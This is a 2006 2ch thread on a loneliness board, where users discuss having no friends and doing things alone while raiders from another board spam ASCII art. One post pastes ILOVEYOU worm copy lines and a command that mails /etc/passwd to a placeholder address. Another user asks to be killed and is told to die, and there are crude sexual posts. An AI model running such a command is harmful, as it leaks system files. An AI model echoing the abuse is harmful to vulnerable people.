スルーできない馬鹿

395 :マジレスさん:2006/02/28(火) 15:40:07 ID:yVuUWnpC
馬鹿は荒らしてるお前だろ?何言ってんだこいつ

396 :マジレスさん:2006/02/28(火) 15:43:22 ID:FMkZzn9v
\ \ \ \
  \ \ \ \ \
\  \ \ \ \ \ \
  \  , -ー、  ,ー,,,,...
\    l ト-´=ヾ-ノ    \    ,, -―、
  \  ヽヽ/       \_,,=''''- ,  |
 \ \ ├  、,,     / 、,   ノ  ヽ,,― 、
   \  \  \  /、 /   /し  ノ   l
        \,,__ ^フ-- 、ノ/   / ゞ-´ n ,, ノ
           ~''''' ー-(l^ - ,,/  ` ン '
               _, l ―^ヽ_,,/
           _,, - ''  \_, ノ'
           \    ,,/
            ∩,,―,,∩'
           //    | |
          //Λ_Λ| |
          | |( ´Д`)/ <うるせえ!メロぶつけんぞ !!
          \      |


397 :マジレスさん:2006/02/28(火) 15:43:27 ID:MjS5kD4N

    / KD \
  ( :´┏┓`*) { 僕の名前はダブチンコだぶー
   │    │    
   │    │
   │    │
/ ̄       ̄\
│          │
│          │
\    │    /
 \_/ \_/

398 :マジレスさん:2006/02/28(火) 15:45:39 ID:yVuUWnpC
ギャグレベルが低い

399 :マジレスさん:2006/02/28(火) 15:46:26 ID:yVuUWnpC
帰れ

400 :マジレスさん:2006/02/28(火) 15:46:54 ID:PXXun7Hy
              ,,,,,,,,,,,,,,,,,,,,
             /": : : : : : : : \
           /-─-,,,_: : : : : : : : :\
          /     '''-,,,: : : : : : : :i
          /、      /: : : : : : : : i     ________
         r-、 ,,,,,,,,,,、 /: : : : : : : : : :i    /
         L_, ,   、 \: : : : : : : : :i   / 突撃したら
         /●) (●>   |: :__,=-、: / <   負けかなと思ってる
        l イ  '-     |:/ tbノノ    \
        l ,`-=-'\     `l ι';/      \  ニート(24・男性)
        ヽトェ-ェェ-:)     -r'          ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
         ヾ=-'     / /
     ____ヽ::::...   / ::::|
  / ̄ ::::::::::::::l `──''''   :::|


  ,j;;;;;j,. ---一、 `  ―--‐、_ l;;;;;;
 {;;;;;;ゝ T辷iフ i    f'辷jァ  !i;;;;;
  ヾ;;;ハ    ノ       .::!lリ;;r゙
   `Z;i   〈.,_..,.      ノ;;;;;;;;>
   ,;ぇハ、 、_,.ー-、_',.    ,f゙: Y;;f    そんなふうに考えていた時期が
   ~''戈ヽ   `二´    r'´:::. `!   俺にもありました

401 :マジレスさん:2006/02/28(火) 15:49:13 ID:yVuUWnpC
寒い


402 :マジレスさん:2006/02/28(火) 15:50:27 ID:U5lxkBBF
      以上、ラウンジの馬鹿どもの仕業でした

    m n _∩                   ∩_ n m
  ⊂二⌒ __)    /\___/ヽ       ( _⌒二⊃
     \ \   /''''''   '''''':::::::\     / /
       \ \  |(●),   、(●)、.:|  / /
        \ \|   ,,ノ(、_, )ヽ、,, .::::|/  /
          \ .|   ´トェェェイ` .:::::::|  /    それが、ラウンジ精神
           \\  |,r-r-| .::::://     http://etc3.2ch.net/entrance/
             \`ー`ニニ´‐―´/
             / ・    ・ /


403 :マジレスさん:2006/02/28(火) 15:53:46 ID:6ZxzCnzn
くさった聖人なんかとつるまないよだれも

404 :マジレスさん:2006/02/28(火) 15:54:32 ID:B075p6UM
      以上、VIPの厨房どもの仕業でした
  ⊂二 ̄⌒\    
     )\   (  
   /__   )              ノ) 
  ////  /|  ∧_∧     / \
 / / / //\ \( ´∀`)  _ / /^\)
/ / / (/    ヽ      ⌒ ̄_/     
((/       ノ      / ̄     
         /     /
        /  /\ \     
       /  ん、  \ \           それが、VIPヌクモリティ
       (__ (   >   )          http://ex14.2ch.net/news4vip/
            し'  / /   
            ( ̄ /    
            )  |   
           \_つ   

405 :マジレスさん:2006/02/28(火) 15:56:16 ID:yVuUWnpC
お前の意見は誰も聞いてない

406 :マジレスさん:2006/02/28(火) 15:56:56 ID:Gc8HdOvA
は ら へ た t 

407 :マジレスさん:2006/02/28(火) 15:57:58 ID:NF7B0fot
友達いなくて買い物・映画・旅行いつも一人■その4
http://life7.2ch.net/test/read.cgi/jinsei/1139499500/

皆さん!傷の舐め合いしかしない、この可愛そうな人たちを慰めてください。

おねがいします。



363 名前:マジレスさん[sage] 投稿日:2006/02/28(火) 14:57:49 ID:yVuUWnpC
ビッパー飽きたからもういいよ

387 名前:マジレスさん[sage] 投稿日:2006/02/28(火) 15:32:36 ID:yVuUWnpC


392 名前:マジレスさん[sage] 投稿日:2006/02/28(火) 15:37:21 ID:yVuUWnpC
全然面白くないお前

393 名前:マジレスさん[sage] 投稿日:2006/02/28(火) 15:38:18 ID:yVuUWnpC
邪魔だから帰れ

395 名前:マジレスさん[sage] 投稿日:2006/02/28(火) 15:40:07 ID:yVuUWnpC
馬鹿は荒らしてるお前だろ?何言ってんだこいつ



この通りID:yVuUWnpCが消えれば丸く収まるって事だ

408 :マジレスさん:2006/02/28(火) 15:58:19 ID:giPxpf/R
( ^ω^)

409 :マジレスさん:2006/02/28(火) 15:58:57 ID:O7xin+Nt
斉藤はしね

410 :マジレスさん:2006/02/28(火) 15:59:58 ID:oUNySt++
       _, ,_
 w  (・ω・ )   ・・・
 (~)、 /   i  )
  \ ` |_/ /|
   `ー_( __ノ |
    (  `(  、ノ
wwwww_ノ`i__ノ



        _, ,_
 w   (・ω・) VIPです
 (~)、 /   i  )
  \ ` |_/ /|
   `ー_( __ノ |
    (  `(  、ノ
wwwww_ノ`i__ノ



411 :マジレスさん:2006/02/28(火) 16:00:11 ID:yVuUWnpC
悔しいからコピペの繰り返し
正論でさえもない

何がしたいんだ?

412 :マジレスさん:2006/02/28(火) 16:00:59 ID:c+MDZ4Pl
                   .;'
                   ,.';'
                   ';';,..
                    '';;';';;,.,
                      ''';;';';;'';;;,.,                  ザッ
                       ''';;';'';';''';;'';;;,.,   ザッ
          ザッ            ;;''';;';'';';';;;'';;'';;;
                        ;;'';';';;'';;';'';';';;;'';;'';;;
                        vymyvwymyvymyvy     ザッ
               ザッ     MVvvMvyvMVvvMvyvMVvv、
                   Λ_ヘ^−^Λ_ヘ^−^Λ_ヘ^Λ_ヘ
     ザッ            ヘ__Λ ヘ__Λ ヘ__Λ ヘ__Λ
                __,/ヽ_ /ヽ__,.ヘ /ヽ__,.ヘ _,.ヘ ,.ヘ    ザッ
    /\___/ヽ   /\___ /\___/ヽ _/ヽ /\___/ヽ
   /''''''   '''''':::::::\/''''''   '''/''''''   '''''':::::::\   /''''''   '''''':::::::\
  . |(●),   、(●)、.:|(●),    |(●),   、(●)、.:|、( |(●),   、(●)、.:|
  |   ,,ノ(、_, )ヽ、,, .::::|   ,,ノ(、_, )|   ,,ノ(、_, )ヽ、,, .::::|_, )|   ,,ノ(、_, )ヽ、,, .::::|
.   |   `-=ニ=- ' .:::::::|   `-=ニ= |   `-=ニ=- ' .:::::::|ニ=|   `-=ニ=- ' .:::::::|
   \  `ニニ´  .:::::/\  `ニニ \  `ニニ´  .:::::/ニ´ \  `ニニ´  .:::::/
   /`ー‐--‐‐―´\ /`ー‐-  /`ー‐--‐‐―´\-‐‐ /`ー‐--‐‐―´
「vipから来ますた」「vipから来ますた」「vipから来ますた」「vipから来ますた」


413 :齋藤:2006/02/28(火) 16:01:00 ID:B9cmUpod
夜八時に沼津駅に白いコートをきて通る
誰か殺してくれ
もう疲れた

414 :マジレスさん:2006/02/28(火) 16:03:26 ID:sevE9mR/
         /⌒ヽ
        / =゚ω゚) vipムッハー
    /⌒ヽ| つ⌒ヽO
   / =゚ω/ / =゚ω゚) vipムッハー
   |  つ⌒ヽ| つ⌒ヽO
   / / =゚ω゚) / =゚ω゚) vipムッハー
  /⌒ つ⌒ヽO つ⌒ヽO
 / =゚/ =゚ω゚) / =゚ω゚) vipムッハー
 | つ|  つ,/ノ|  つ⌒ヽO
 と_と_) ∪,と_) ;=゚ω゚)つ vipムッハー


415 :マジレスさん:2006/02/28(火) 16:06:04 ID:JEV9tiO4
VIPからきますた

416 :マジレスさん:2006/02/28(火) 16:06:35 ID:yVuUWnpC
>>413
友達がいないってことで疲れたの?

417 :マジレスさん:2006/02/28(火) 16:07:10 ID:MRl7WakA



     さ  ぁ  、  オ  レ  を  笑  わ  せ  て  み  ろ  ウ  ン  コ  V  I  P  P  E  R  ど  も  !






418 :マジレスさん:2006/02/28(火) 16:08:00 ID:3yualjol
   ───  =  ./       /  ─  /  | |         |       |
  /    /      /       |ノ     /  / | ./ ──  |  /     |─
  ───   _/      /    _/  /  |/       |/   ツ  |


                     /\___/ヽ
    _,、__________,,,、.  /''''''   ''''''::::::\   弾は一発しか入れてないから1/8・・・
    `y__////_jニニニニニfi |(●),   、(●)、.:|
    〈_フソ ̄フ ,=-_,,,,-┴─'  |  ,,,ノ(、_, )ヽ、,, .::::|
    //o /rて__/       .|   `-=ニ=- ' .:::::::|
   ,//三/ / ̄"         \   `ニニ´  .:::/
  〈。ニ___/             ヽ.`- 、   ./|


419 :マジレスさん:2006/02/28(火) 16:09:10 ID:6EUBTfaW
釣りはいいよ
1人でやっても淋しくないし

420 :マジレスさん:2006/02/28(火) 16:13:22 ID:uopJCStl
   〃∩ ∧_∧   自分から何かしようとしない人間が人と仲良くしたいとか
   ⊂⌒(  ・ω・)  はいはいわろすわろす
     `ヽ_っ⌒/⌒c     
        ⌒ ⌒


421 :マジレスさん:2006/02/28(火) 16:14:01 ID:MRl7WakA






     コ  ピ  ペ  し  か  貼  れ  な  い  の  か  ウ  ン  コ  V  I  P  P  E  R  ど  も  !







422 :マジレスさん:2006/02/28(火) 16:15:27 ID:ZJUKOV+X
    r⌒\// ////:: <   _,ノ`' 、ヽ、_ ノ  ;;;ヽ //// //
    (´ ⌒)\ ///::::   (y○')`ヽ) ( ´(y○')    ;;|// //
ポッポー ||  \|:::     ( ( /    ヽ) )+     ;| _/ /ヽ        /ヽ
     人   ...\    +  ) )|~ ̄ ̄~.|( (       ;;;/ /   ヽ      / ヽ
    (__)     \    ( (||||! i: |||! !| |) )    /__/U  ヽ___/  ヽ
また (__)天狗か .\+  U | |||| !! !!||| :U  /__/   U    :::::::::::U:
    (・∀・#)       \   | |!!||l ll|| !! !!|/| | 天 // ___    \     ::::::::|
  _| ̄ ̄||_)        \∧∧∧∧/  | | 狗|   |    |  U     :::::::::|
/旦|――||// /|      <   天 >  | |  |U |    |        :::U::|
| ̄ ̄ ̄ ̄ ̄| ̄| . |      <   狗 >      l ├―‐┤   U   ...:::::::/
|_____|三|/      < の の >     ヽ     .....:::::::::::::::::::::::<
────────────< 予 仕 >─────────────
      / ̄ ̄ ̄ ̄ ̄ ̄ \< 感 業 >天狗じゃ!天狗の仕業じゃ!   
/⌒ヽ  / ''''''     ''''''    < !    >こういう天狗のように鼻が立ってたのが
|  /   | (●),   、(●)   | ∨∨∨∨\天狗の天狗なんだよな今の天狗は
| |   |    ,,ノ(、_, )ヽ、,,     / ヤダヤダ  \天狗の天狗を知らないから
| |   |    `-=ニ=- '    /〃〃∩  _, ,_  \天狗の仕業じゃ!  , ;,勹
| |   !     `ニニ´   `/  ⊂⌒( `Д´) <\          ノノ   `'ミ
| /    \ _____ /      `ヽ_つ ⊂ノ    \        / y ,,,,,  ,,, ミ
| |    ////W   / )、._人_人__,.イ.、._人_人_人     / 彡 `゚   ゚' l
| |   ////WW /<´ 天狗じゃ!天狗の仕業じゃ!>\  〃 彡  "二二つ
| |  ////WW /    ⌒ v'⌒ヽr -、_  ,r v'⌒ヽr ' ⌒   \|  彡   ~~~~ミ

423 :マジレスさん:2006/02/28(火) 16:17:26 ID:LTnAruoX
実況板からきますた

424 :マジレスさん:2006/02/28(火) 16:18:15 ID:3yualjol
                  ∩
                  ( ⌒)      ∩_ _ グッジョブ!!
                 /,. ノ      i .,,E)
             / /"      / /"
  _n  グッジョブ!!   / / _、_   ,/ ノ'
 ( l     _、 _   / / ,_ノ` )/ / _、_    グッジョブ!!
  \ \ ( <_,` )(       / ( ,_ノ` )     n
   ヽ___ ̄ ̄ ノ ヽ      |  ̄     \    ( E)
     /    /   \    ヽ フ    / ヽ ヽ_//


425 :マジレスさん:2006/02/28(火) 16:18:16 ID:ELnGNFnC
女の人へ質問です。
(1)どんな事を思い浮かべてオナニーしますか?
(2)どんなふうにオナニーしますか?
(3)どんな場所でオナニーしますか?
(4)何日おきにオナニーしますか?


426 :マジレスさん:2006/02/28(火) 16:18:27 ID:DpGljCvB
まぁなんだ・・・齋藤

イ`

人間死ぬ気でやれば出来ないことはないしな




と、空気も読まずマジレス
ところで>1は何処へ?

427 :マジレスさん:2006/02/28(火) 16:18:38 ID:yVuUWnpC
荒らしのお前

428 :マジレスさん:2006/02/28(火) 16:19:50 ID:yVuUWnpC
が言えることはない

                         >>420

429 :マジレスさん:2006/02/28(火) 16:22:08 ID:Gutg/dHz
まぁみんな仲良くやろうよ。このスレの基本でしょ?





wwww

430 :ルカ:2006/02/28(火) 16:23:28 ID:6sqonYpL
>>413
ネタでないなら、
お話がありますので今晩吉祥寺駅まで来なさい。


431 :マジレスさん:2006/02/28(火) 16:23:45 ID:C5bWH5WC
VIPPERって何なの?

特別な人達?

432 :マジレスさん:2006/02/28(火) 16:24:46 ID:MRl7WakA







   俺  す  ら  笑  わ  せ  れ  な  い  な  ん  て  V  I  P  P  E  R  終  わ  っ  た  な  !











433 :マジレスさん:2006/02/28(火) 16:24:55 ID:/TzBaPQ0
このスレを際限なく荒らしたいんですが

構いませんかねッ!?

434 :ルカ:2006/02/28(火) 16:27:52 ID:6sqonYpL
ニュー速VIP板という中高生が多く出入りしてる板の住人のこと


435 :マジレスさん:2006/02/28(火) 16:29:47 ID:3yualjol
だが断る

436 :マジレスさん:2006/02/28(火) 16:34:00 ID:/TzBaPQ0
>>435

     _____
     /1べ:;:;:r─‐-!
.    /iィ.:.:.:.:ヾ|断だ!
   /ヘ レj_.:.:.lるが!
.  /.:`ソ =三_`y‐i:!
 /.:::i゛:.. `ヾニノ  j!
./;;i::rミ、    ;:'  '!
丶iゝ``'   ,:'  ,t'!
   ` 丶 、 /rj!
       `` ′

437 :マジレスさん:2006/02/28(火) 16:35:11 ID:vtpYEcfh
ここのコテは痛いですね。

438 :マジレスさん:2006/02/28(火) 16:36:24 ID:3yualjol

c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com


  _n
 ( l    _、_
  \ \ ( <_,` )
   ヽ___ ̄ ̄  )   グッジョブ!!
     /    /


439 :マジレスさん:2006/02/28(火) 16:38:28 ID:/TzBaPQ0
>>438
             ___,,,,,..... -一ァ
         / ̄;;;´;;、;;;ヾ;;;, -──--、,!
.        /'´|;;;;,、;;;;;;;;;;/      ,!
.         /:.:.:.レ´:.ヾ;;;;;;i   断  だ ,!
       /:.:.:.:.:.:.:.:.:.:.:ヾ;i  る  が ,!
.      /:.;.イ:.:.:.:.:.:.:.:.:.:..ヽ       ,!
.       /レ' ;|:.:.:.:.:.:.:,:ィ:.:.:.:〉 __,.,!
     /-、ヽ,:|:.:.:,/ /:.:.://.:,:ィ:.:.:.,!
      /'ヽ、ヾi ゙´.:   /__;:;:-'"´ ,;|:.:.:.,!
.    /ゝ-`';:/ .:〈ニ=-=ニ二 ̄ヽレ',!
   /::::;;;;;/  ' ,, ニ`ー-,、__\〉ィ,!
.   /;:::::/ ::.    ::.,,\_ゞ;'> 〈;,!
  /i!:::::iヾ-'、::..       '';~ ,;:'/,!
. /;;;i!fi´l_、,.`        .: ,;:'  ,!
/;;;;;i' ('ー、ヽ      ..: ,;:''   ,!
ヽ、jゝ、`ヾ:、゙、   ,..:'.:'"    .: ,!
   ``ヽ.、_ ¨`  ,:'      (_r:,!
       ``ヽ.、..    ノr;ソ~,!
             ``ヾ、 / 7,!
                 ``ヽ,!

440 :齋藤:2006/02/28(火) 16:43:02 ID:B9cmUpod
>>430 ルカさん
今夜は静岡へ行きますので吉祥寺へはいけません

441 :マジレスさん:2006/02/28(火) 16:43:46 ID:/TzBaPQ0
                   ,.,.,.,.;.;.;.;ヽ.
              ヽヽヽ、/ ̄ ̄ ̄ ̄ ̄
        ;.;.;.;ヽヽヽヽヽヽ/ |、l/.l二 ┼‐、、
          ;/|;ヽヽヽヽヽ/.  |ノ|、ノ |  ノ こ
       :.:.:.:.:|/:.\ヽヽ;|    ̄_
       :.:.:.:.:.:.:.:.:.:.:.:\;.;.|     ∠  ┼‐、ヾ
       :.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:ヽ|    o__) ノ 、ノ
      .:.:.,ヘ:.:.:.:.:.:.:.:.:.:.:.:.:.:ヽ、 ______
      ∨ |:.:.:.:.:.:.:.:.:/|:.:.:.:.:)ノ:.:.:.:.:.:.:.:.:.:.:.:
      ヽ_::::::|:.:.:.:.:.:/ ,':.:.:.:.:.:.:.:.:,:./',:.:.:.:.:.
     ー-、ヽ::|:.:./   ,':.:.:.:.:./´    ',:.:.:.:.
    、-'、_,ヽゝ´:::::::..  '-‐'´_, -―‐'ヽ |/::::
     ヽ._`、>}:::::ヽ二ニ="―-- 、 ヽ.::/
    :::::::::::::::/    ::::< ̄`、ー-、ー―'/
    :::::::::::, '.::::.    :::::.. `ー-`ー''"   〉
   ::::::::::/  :::.        :::::::  .:::::::〈
    |::::::<_ノ_ ::,        :: .:
   |:::,ヘヽ、 ` >          .: .:
   |:/l',`ー‐、        .: .:    .,'_
   |{ (ミ=ミ、 ヽ.       .: .:    ,'_:::
   |'、  ̄``‐、ゝ    :: .:      ,ヘ_i!_
     ``        ::        /  |!_,
                    _/´/`ー,::

442 :マジレスさん:2006/02/28(火) 16:51:20 ID:BhmWUaIF
なぁ、VIPPERを挑発する前に
U D や ら な い か ?

http://ud-team2ch.net/index.php?UD-Team2chWiki

443 :マジレスさん:2006/02/28(火) 16:52:59 ID:vclFatD8
  ∩∩ ぼ く ら の 春 は こ れ か ら ホマ !  V∩
  (7ヌ)                              (/ /
 / /                                 ||
/ /                 _(ω^^;)           ||
\ \( ^^ω)―--( ^^ω ) ̄      ⌒ヽ (ω ^^) //
  \       /⌒   ⌒ ̄ヽ、    /~⌒    ⌒ /
   |      |ー、      / ̄|    //`i      /
    |     | |     / (ミ   ミ)  |    |
   |    | |     | /      \|    |
   |    |  )    /   /\   \|       ヽ
   /   ノ | /  ヽ ヽ、_/)  (\    ) ゝ  |
   |  |  | /   /|   / レ   \`ー ' |  |  /

           それが奇形クオリティ
    http://ex14.2ch.net/test/read.cgi/news4vip/1140896055/


444 :マジレスさん:2006/02/28(火) 17:11:47 ID:oAV0wYp1
         /⌒ヽ
        / =゚ω゚) vipムッハー
    /⌒ヽ| つ⌒ヽO
   / =゚ω/ / =゚ω゚) vipムッハー
   |  つ⌒ヽ| つ⌒ヽO
   / / =゚ω゚) / =゚ω゚) vipムッハー
  /⌒ つ⌒ヽO つ⌒ヽO
 / =゚/ =゚ω゚) / =゚ω゚) vipムッハー
 | つ|  つ,/ノ|  つ⌒ヽO
 と_と_) ∪,と_) ;=゚ω゚)つ vipムッハー


445 :ルカ:2006/02/28(火) 17:29:48 ID:6sqonYpL
>>440
齋藤さん、本当に静岡行くんですねw では気をつけて。
物騒なことに巻き込まれちゃダメですよ〜


446 :マジレスさん:2006/02/28(火) 17:47:22 ID:ZULkNlOw
VIPから来m・・・・・

出遅れたお(;^ω^)

447 :マジレスさん:2006/02/28(火) 17:49:21 ID:gAs2ZCTr
VIPから来ますた。次に立てるスレはこれで行こうと思います

448 :マジレスさん:2006/02/28(火) 17:51:56 ID:8QIRX50g
(;^ω^)他人煽る奴って大人気無いな


VIPに帰ります

449 :マジレスさん:2006/02/28(火) 18:13:49 ID:XANhGlZD
VIPPER の母です。子どもが大変ご迷惑をお掛けしました。

450 :マジレスさん:2006/02/28(火) 18:27:04 ID:/RY3DnKd
斉藤は師ね

451 :齋藤:2006/02/28(火) 19:00:20 ID:VqQUgWmL
>>445 ルカさん

静岡に行きますよ。

今日は疲れました。
最近は孤独に蝕まれていく毎日です。

気を付けながらいってきます。

452 :マジレスさん:2006/02/28(火) 19:07:19 ID:XEzWaNKW
                     ''';;';';;'';;;,.,                  ザッ
     ザッ              ''';;';'';';''';;'';;;,.,   ザッ
                       ''';;';'';';''';;'';;;,.,   ザッ
          ザッ            ;;''';;';'';';';;;'';;'';;;
                        ;;'';';';;'';;';'';';';;;'';;'';;;
                        vymyvwymyvymyvy     ザッ
               ザッ     MVvvMvyvMVvvMvyvMVvv、
                   Λ_ヘ^−^Λ_ヘ^−^Λ_ヘ^Λ_ヘ
     ザッ            ヘ__Λ ヘ__Λ ヘ__Λ ヘ__Λ
                __,/ヽ_ /ヽ__,.ヘ /ヽ__,.ヘ _,.ヘ ,.ヘ    ザッ
    /\___/ヽ   /\___ /\___/ヽ _/ヽ /\___/ヽ
   /      :::::::\/      /      :::::::\   /      :::::::\
  . |          .::|       :|          .::| : |          .::|
  |          .:::::|      :::|         .:::::| :::|         .:::::|
.   |          .::::|      :::|         .:::::|  |         .::::|
   \       .::::::/\     .\       .::::::/   \       .::::/
   /`ー‐--‐‐―´\ /`ー‐-  /`ー‐--‐‐―´\-‐‐ /`ー‐--‐‐―´
  「VIPに帰ります」  「おまいら帰るぞ」   「帰るぞ」   「蛙」


453 :ルカ:2006/02/28(火) 19:10:14 ID:6sqonYpL
仕事お疲れさま。
孤独をなくす方法、今年中にどうにかしたいです。
静岡は仕事?
温泉に行きたくなってきたw無事を祈ってますよ。

うなぎπヨロ!!


454 :マジレスさん:2006/02/28(火) 19:12:04 ID:MysIBvci
女とだけ仲良くなれればいいんだけどなあ
他のどうでもいい人とも関わらないといけないとなると
難しい・・・・

455 :ともりも:2006/02/28(火) 19:17:38 ID:vfi//CQ8
>>齋藤さん

沼津ということは伊豆行きですか?
殺し屋に気を付けて下さいねw



456 :ともりも:2006/02/28(火) 19:22:11 ID:vfi//CQ8
>>453
>>ルカさん
鰻パイは浜松ですよ〜

もしかして、自分の書き込みが荒れる原因だったかもしれません。
一部、雑談もあったし、
堅苦しい話?も名無しさんが入りにくい雰囲気を作ってしまったようで以後気を付けますね
スレ汚してすみません。

457 :ともりも:2006/02/28(火) 20:16:51 ID:vfi//CQ8
>>321

なんか自分の書き込みのせいで違和感を覚えたならすまん。

なんちゃって一人の定義が分からないが、
自分も世間の所謂、遊びは経験が少ないよ。
自分の趣味とか好きなことには積極的だけど、
興味がない、もしくは積極的にやるまでも無いことは全然手を出さない。
友達がいないから、やる機会がないんだよね。
例えばスノボーとかビリヤード。
若者の殆どがやったことあるはずだけど、自分は一度もやったことないよ。。。

たまに人が近づいてきても、自分を利用するためっていうのは自分もあなたと同じだよ。

458 :ルカ:2006/02/28(火) 20:20:08 ID:6sqonYpL
ともりもさんが気にする必要はないと思いますよ。

まあおたがい書きやすい空気を損なわないように気をつけましょうか〜


459 :涙目のルカ ◆G.O.DhaBbY :2006/02/28(火) 20:26:36 ID:/TzBaPQ0
喧嘩の時にナイフを顔面に突き刺されても戦い続け、その後遺症でいつも涙目になって
しまったため“涙目のルカ”と呼ばれている
俺がしゃしゃり出てきましたよ

460 :齋藤:2006/02/28(火) 20:30:41 ID:VqQUgWmL
>>453
プライベートで静岡です。
日付が変わる頃に沼津に到着予定になりました。
うなぎパイって浜松なんですね………

461 :マジレスさん:2006/02/28(火) 20:31:00 ID:ILpcxI4b
何か?

462 :マジレスさん:2006/02/28(火) 20:34:44 ID:ILpcxI4b
今日という一日が終わるときにそばにいられたら〜♪

463 :齋藤:2006/02/28(火) 20:36:48 ID:VqQUgWmL
>>456
ともりもさん

「齋藤しね」って書きこまれてるから、ともりもさんのせいじゃないよ


464 :マジレスさん:2006/02/28(火) 20:46:50 ID:0LCNnWZL
斎藤しねってのは、荒れてる時に斎藤さんがマジレスしたから
たまたま煽りで書き込まれただけだと思われ。

言葉はきついがスルーしてキニスルナ!

465 :涙目のルカ ◆G.O.DhaBbY :2006/02/28(火) 20:47:20 ID:/TzBaPQ0
今日このスレ初めてきたが
旅行はひとりでする方が良いな

466 :マジレスさん:2006/02/28(火) 21:18:14 ID:jb/aCle1
いいんじゃね
一人でも
束縛はされないしwwwww



人は誰でも孤独感は多々あるし(´・ω・`)

467 :なな:2006/02/28(火) 21:20:12 ID:0tV7C935
私の悩みもきいてください・・・

468 :マジレスさん:2006/02/28(火) 21:22:26 ID:LtwYiFtr
一人で買い物、映画、旅行は普通だと思ってた(´・ω・`)

469 :ルカ ◆IOAAALucaM :2006/02/28(火) 21:29:10 ID:AWmlGsTj
>>257
絵になる一匹狼ならいいんだけどね。
そこまでのオーラをまだ獲得できてないのさつД`)・゚・。・゚゚・*:.。..。.:*・゚

>>459
どんなルカやねんw
> 後遺症でいつも涙目になって
しっかし目やにがたまりそうだなミ´ー`彡

>>460
プライベートで! うらやましかあ
ゆっくりくつろいできてくださいよ
スレ荒れて疲れてしまったでしょうしw
うなぎπ間違えただよノ(´д`*)

>>467
ここで心機一転、元のスレの空気に戻したいです。
そのためにも吐き出しちゃってください ( ゚ 3゚)≡@

470 :ルカ ◆IOAAALucaM :2006/02/28(火) 21:33:09 ID:AWmlGsTj
>>468
言い訳ですが、そのスレタイは人目を引くためのものでしかなくて・・・
「買い物が一人」の文字通りの意味っつうよりは、
友達が少なかったり、孤独感にさいなまれるのをどうしたらいいいかってのが
本題に近いかな...
もし人との交流で満足してれば、別に買い物に一人で行くことに悩んだりはしないはずなんだよね、
おれだけかもしれないけど。

ランチメイト症候群とか、学校の食堂や集団の中で一人で食べるのは、
文字通りの意味でも辛いんだが。

471 :涙目のルカ ◆G.O.DhaBbY :2006/02/28(火) 21:37:08 ID:/TzBaPQ0
>>470
集団の中でひとりで食事をする度に
「誰も近づかない孤高の存在」だと、自認する漏れですが何か

472 :なな:2006/02/28(火) 21:42:47 ID:0tV7C935
私も、友達いません・・・

473 :マジレスさん:2006/02/28(火) 22:04:33 ID:ZCsN0gTk
俺も興味ないことしないな、
ずうずうしい頼みしてくる奴もそうだけど、
俺があんま普通を知らないからどっちが変なのかわからない感じの時もある、
俺が車持ってて、相手持ってないから誘いがあるのは遊びたいのか、自分が行きたいのかって
いうので考えたこともあったと思うけど、実際はよくわからないけど、
そいつといると気を使うのが直りそうにないし、友達って感じじゃない気もする、
というか心開いてないし、なんか違うな。

474 :マジレスさん:2006/02/28(火) 22:06:11 ID:ZCsN0gTk
>>472
自分はこうだっていえばいいと思うよ。

475 :マジレスさん:2006/02/28(火) 22:14:50 ID:eE0J5WVN
>>472
一度会ったら友達
毎日会ったら兄弟
おーけー?
おれとおまえは友達な?

476 :涙目のルカ:2006/02/28(火) 22:17:49 ID:/TzBaPQ0
>>472
友達がいない・・・
別に気を病む事ではないと思うが
友達なんて無理に作るもんでもない。
多くの友人より、たった一人の親友の方が大切

477 :菅ちゃん:2006/02/28(火) 22:22:09 ID:RI4UpYha
俺も今度ひとりで旅行いく予定。旅行となると友達でも誘いにくいし自分の行きたい所に行きたいってのもある。さすがに買い物は友達と行くけど…でも結局店でバラバラになるがな。

478 :ピエロ:2006/02/28(火) 22:33:08 ID:ILpcxI4b
で、ななさんの悩みはいったいなんなのサァ〜?

479 :ルカ ◆IOAAALucaM :2006/02/28(火) 22:54:10 ID:AWmlGsTj
>>471涙目のルカさん
一人で食べてても自信がゆるがないレベルにいるなら、
それでいいと思うよ。
そうじゃない凡人は辛いのであるよ。

あ、いつも泣いてるからみんなが近づくのを遠慮してるとかw

>>472
学生?

>>473
まあ利用してる度合い、一緒に遊びたい気持ちの度合い、
それぞれどっちかが完璧100%ってことじゃなくて、
その間の3:7とか8:2なんじゃないの、実際の多くは。
ああ完璧利用されてるな〜と気づいてしまうときは脱力だけど( ´Д`)

そういう人がおれにいたけど、こっちが話してもすべてスルーで
自分の話しかしないから、つきあってると虚しくなるし、
一緒に飯食って、周りからは友達のように見えるかもしれないが、
孤独感なぞ1mgも減らなかった罠。

480 :涙目のルカ:2006/02/28(火) 23:02:16 ID:/TzBaPQ0
// // ///:: <   _,ノ`' 、ヽ、_ ノ  ;;;ヽ
///// /::::   (y ○)`ヽ) ( ´(y ○)    ;;|    孤独にはとっくに慣れている
// //,|:::     ( ( /    ヽ) )+     ;|     悲しくは無い
/ // |:::     +  〉 〉|~ ̄ ̄~.|( (       ;;;|    泣いたフリしてんだよ
/// :|::       ( (||||! i: |||! !| |) )      ;;;|
////|::::    +   U | |||| !! !!||| :U   ;;; ;;;|
////|:::::       | |!!||l ll|| !! !!| |    ;;;;;;|
// / ヽ:::::       | ! || | ||!!|    ;;;;;;/⌒⌒⌒\
// // ゝ:::::::: :   | `ー----−' |__// / / /⊂)

481 :菅ちゃん:2006/02/28(火) 23:26:58 ID:RI4UpYha
>>472
で、ナナさんの悩みは?

482 :マジレスさん:2006/03/01(水) 00:07:48 ID:/hueJkmB
>>479
利用はやだな、そういう思考はしたくないもんだ、してないけど。
そういう友達に見えて微妙な奴って逆にいると嫌だよね、
俺の場合は気を使ったりドギマギするぶんマイナスだし。
自分の言ってることだけスルーってことはなんかキャラ的に自分が大人しいほうかな?
俺はあんましゃべんない方で世間知らんほうで、どこか行くときは俺が車運転、相手が道とか知ってるから言うんだけど、
俺が方向をこっちだよねとか言って間違えてると冷たいんだよな、んで気を使う俺。
どっか行こうか誘うのに冷たい→利用?って感じで。

483 :マジレスさん:2006/03/01(水) 00:38:26 ID:2URTFZnA
もうこのスレの住人同士で会っちゃおうよ

484 :ルカ ◆IOAAALucaM :2006/03/01(水) 02:43:02 ID:ZWQfxH9r
>>482
とくにおとなしいわけでもないですね。
普通に「今日こういうことがあってさあ」とひとしきり話すと、
